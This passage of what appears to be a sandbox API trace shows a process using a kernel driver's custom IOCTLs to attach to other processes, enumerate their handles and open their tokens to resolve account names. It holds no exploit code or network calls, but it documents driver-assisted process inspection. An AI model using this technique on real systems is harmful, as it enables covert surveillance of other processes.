ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.771] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.773] CloseHandle (hObject=0xc8) returned 1 [0072.773] CloseHandle (hObject=0xc0) returned 1 [0072.773] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.773] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.773] PsAcquireProcessExitSynchronization () returned 0x0 [0072.773] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054f85d0) [0072.773] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a126f0, HandleInformation=0x0) returned 0x0 [0072.773] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.773] PsReleaseProcessExitSynchronization () returned 0x2 [0072.773] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0072.773] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.773] ObfDereferenceObject (Object=0xfffffa8001a126f0) returned 0x1 [0072.773] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.773] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.773] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0072.773] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.773] PsAcquireProcessExitSynchronization () returned 0x0 [0072.773] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054f85d0) [0072.773] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fc01e0, HandleInformation=0x0) returned 0x0 [0072.773] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.773] PsReleaseProcessExitSynchronization () returned 0x2 [0072.773] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0072.774] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.774] ObfDereferenceObject (Object=0xfffffa8001fc01e0) returned 0x1 [0072.774] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.774] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.774] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.774] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.774] PsAcquireProcessExitSynchronization () returned 0x0 [0072.774] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880054f85d0) [0072.774] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.774] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.774] PsReleaseProcessExitSynchronization () returned 0x2 [0072.774] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0072.774] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a11044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a11044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.774] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.774] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.774] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.774] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8a0) returned 0xc0 [0072.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.774] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fef740, HandleInformation=0x0) returned 0x0 [0072.774] ObOpenObjectByPointer (in: Object=0xfffffa8001fef740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.774] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x12 [0072.774] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.774] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.775] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.775] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.775] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.776] CloseHandle (hObject=0xc8) returned 1 [0072.776] CloseHandle (hObject=0xc0) returned 1 [0072.776] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.776] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.776] PsAcquireProcessExitSynchronization () returned 0x0 [0072.776] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054f85d0) [0072.776] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fef070, HandleInformation=0x0) returned 0x0 [0072.776] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.776] PsReleaseProcessExitSynchronization () returned 0x2 [0072.776] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0072.776] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a12044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a12044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.776] ObfDereferenceObject (Object=0xfffffa8001fef070) returned 0x1 [0072.776] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.776] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.776] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0072.776] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.777] PsAcquireProcessExitSynchronization () returned 0x0 [0072.777] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054f85d0) [0072.777] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ff3070, HandleInformation=0x0) returned 0x0 [0072.777] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.777] PsReleaseProcessExitSynchronization () returned 0x2 [0072.777] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0072.777] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a13044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a13044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.777] ObfDereferenceObject (Object=0xfffffa8001ff3070) returned 0x1 [0072.777] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.777] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.777] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.777] PsLookupProcessByProcessId (in: ProcessId=0x8a0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.777] PsAcquireProcessExitSynchronization () returned 0x0 [0072.777] KeStackAttachProcess (in: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fef740, ApcState=0xfffff880054f85d0) [0072.777] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.777] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.777] PsReleaseProcessExitSynchronization () returned 0x2 [0072.777] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x10 [0072.777] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a14044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a14044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.777] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.777] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.777] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.777] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8b0) returned 0xc0 [0072.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.777] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001ffc3e0, HandleInformation=0x0) returned 0x0 [0072.777] ObOpenObjectByPointer (in: Object=0xfffffa8001ffc3e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.777] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x12 [0072.777] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.777] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.777] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.778] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.778] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.124] CloseHandle (hObject=0xc8) returned 1 [0074.124] CloseHandle (hObject=0xc0) returned 1 [0074.125] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.125] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.125] PsAcquireProcessExitSynchronization () returned 0x0 [0074.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054f85d0) [0074.125] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ffcd10, HandleInformation=0x0) returned 0x0 [0074.125] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.125] PsReleaseProcessExitSynchronization () returned 0x2 [0074.125] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0074.125] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.125] ObfDereferenceObject (Object=0xfffffa8001ffcd10) returned 0x1 [0074.125] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.125] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.125] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0074.125] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.125] PsAcquireProcessExitSynchronization () returned 0x0 [0074.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054f85d0) [0074.125] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002000a20, HandleInformation=0x0) returned 0x0 [0074.125] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.125] PsReleaseProcessExitSynchronization () returned 0x2 [0074.125] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0074.125] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.125] ObfDereferenceObject (Object=0xfffffa8002000a20) returned 0x1 [0074.125] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.125] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.126] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.126] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.126] PsAcquireProcessExitSynchronization () returned 0x0 [0074.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880054f85d0) [0074.126] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.126] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.126] PsReleaseProcessExitSynchronization () returned 0x2 [0074.126] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0074.126] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.126] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.126] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.126] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.126] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8c0) returned 0xc0 [0074.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.126] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800201cb30, HandleInformation=0x0) returned 0x0 [0074.126] ObOpenObjectByPointer (in: Object=0xfffffa800201cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.126] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x12 [0074.126] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.126] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.126] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.126] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.126] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.128] CloseHandle (hObject=0xc8) returned 1 [0074.128] CloseHandle (hObject=0xc0) returned 1 [0074.128] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.128] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.128] PsAcquireProcessExitSynchronization () returned 0x0 [0074.128] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054f85d0) [0074.128] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020147d0, HandleInformation=0x0) returned 0x0 [0074.128] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.128] PsReleaseProcessExitSynchronization () returned 0x2 [0074.128] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0074.128] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.128] ObfDereferenceObject (Object=0xfffffa80020147d0) returned 0x1 [0074.128] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.128] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.128] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0074.128] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.128] PsAcquireProcessExitSynchronization () returned 0x0 [0074.128] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054f85d0) [0074.129] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800201c200, HandleInformation=0x0) returned 0x0 [0074.129] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.129] PsReleaseProcessExitSynchronization () returned 0x2 [0074.129] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0074.129] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.129] ObfDereferenceObject (Object=0xfffffa800201c200) returned 0x1 [0074.129] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.129] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.129] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 